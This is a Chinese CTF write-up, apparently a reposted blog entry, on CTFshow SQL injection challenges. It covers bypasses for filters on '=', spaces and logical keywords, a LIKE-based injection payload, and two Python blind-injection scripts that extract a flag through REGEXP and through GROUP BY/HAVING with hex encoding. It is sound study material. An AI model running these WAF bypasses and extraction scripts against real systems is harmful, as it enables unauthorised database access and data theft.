当前位置: 首页 > article >正文

CTFSHOW sqll注入

=号过滤绕过

=号和不加通配符的 like 是一样的。
在这里插入图片描述
还可以使用 < >号来绕过,<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是=了
在这里插入图片描述

空格过滤绕过

/**/ ,(),`,tab,两个空格

or and xor not 过滤绕过

and = && or = ||  xor = | #   not = !

1.模糊匹配: 

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

 利用模糊匹配:like就是SQL语句中的操作符,它的作用是指示在SQL语句后面的搜索模式是利用通配符而不是直接相等匹配进行比较。%(百分号),_(下划线)就是通配符,%表示任何字符出现任意次数(可以是0次),_表示单个字符

'or%0cusername%0clike%0c'%fla%

2.正则匹配盲注

这样输入:tableName=`ctfshow_user`where`pass`regexp'ctfshow'
 
where是并且的意思,也就是限制条件
 
regexp是正则匹配
 
而``这个反引号其实就是声明以下这是个表名或者这是个列名
 
语句的意思是查询ctfshow_user这个表,并且pass这个列的内容是ctfshow

可以看到user_count=1这表示有一个内容匹配上了,进行盲注

import requests
 
url='http://a688781a-293c-4944-badf-662710615fed.challenge.ctf.show/select-waf.php'
 
flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'
 
for i in range(50):
    for x in flagstr:
        data={
            'tableName':f"`ctfshow_user`where`pass`regexp'{flag+x}'"
        }
        res=requests.post(url=url,data=data)
        if res.text.find('user_count = 1;')>0:
            flag+=x
            print('++++++++++++++++++++++++right:   '+x)
            break
        else:
            print('+++++++++++++++++wrong:  '+x)
    print(flag)
 
#ctfshow{68264c64-1246-435b-bc1e-a80326290bb8}

3.过滤了一堆,将上一个payload对比下,过滤了where和'   把空格放出来了

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

having这个也可以用来查询,前置条件是需要用 group by 

MySQL查询中having语句的使用场景和用法 - 知乎 (zhihu.com)

 盲注脚本:

import requests
url='http://3d72fc66-90f6-4e34-a083-2171ceb1ea7c.challenge.ctf.show/select-waf.php'
flagstr='1234567890asdfghjklqwertyuiopzxcvbnm-_{}'
flag='ctfshow{'
def shiliu(x):
    st=''
    for i in x:
        st+=str(hex(ord(i)))
    st=st.replace('0x','')
    return '0x'+st
for i in range(50):
    for x in flagstr:
        data={
            'tableName':f"ctfshow_user group by pass having pass regexp({shiliu(flag+x)})"
        }
        res=requests.post(url=url,data=data)
        if res.text.find('$user_count = 1;') > 0:
            flag+=x
            print('+++++++++++++right:    '+x)
            break
        else:
            print('++++++++++++woring:   '+x)
    print(flag)

 

 


http://www.kler.cn/a/145012.html

相关文章:

  • LeetCode:343. 整数拆分
  • 23.Word:小王-制作公司战略规划文档❗【5】
  • origin如何在已经画好的图上修改数据且不改变原图像的画风和格式
  • OpenFeign的工作原理是什么?它第一次加载的时候为什么慢?
  • Addressable学习
  • 《深度揭秘:TPU张量计算架构如何重塑深度学习运算》
  • Add, Divide and Floor(cf round 158 div2)
  • 【C/PTA —— 10.函数1(课外实践)】
  • 【数据结构/C++】栈和队列_链队列
  • 怎么给数据库某个字段建立一个前缀索引
  • 航天宏图——宏图1号样例数据0.5米-5米分辨率(上海部分)
  • 队列详解(C语言实现)
  • PaddleOCR学习笔记
  • 如何处理git多分支
  • 将本地项目上传到gitee
  • 分布式篇---第七篇
  • 从0到0.01入门 Webpack| 003.精选 Webpack面试题
  • Ubuntu 设置Nginx开机自启
  • python之静态服务器程序开发
  • 【数据结构】树如何定义 | 如何存储 | 实际应用
  • 机器学习算法——主成分分析(PCA)
  • (附源码)SSM环卫人员管理平台 计算机毕设36412
  • Kerberos 高可用配置和验证
  • 在浏览器中直接打开PDF
  • HarmonyOS应用开发者基础认证【题库答案】
  • UniApp Button讲解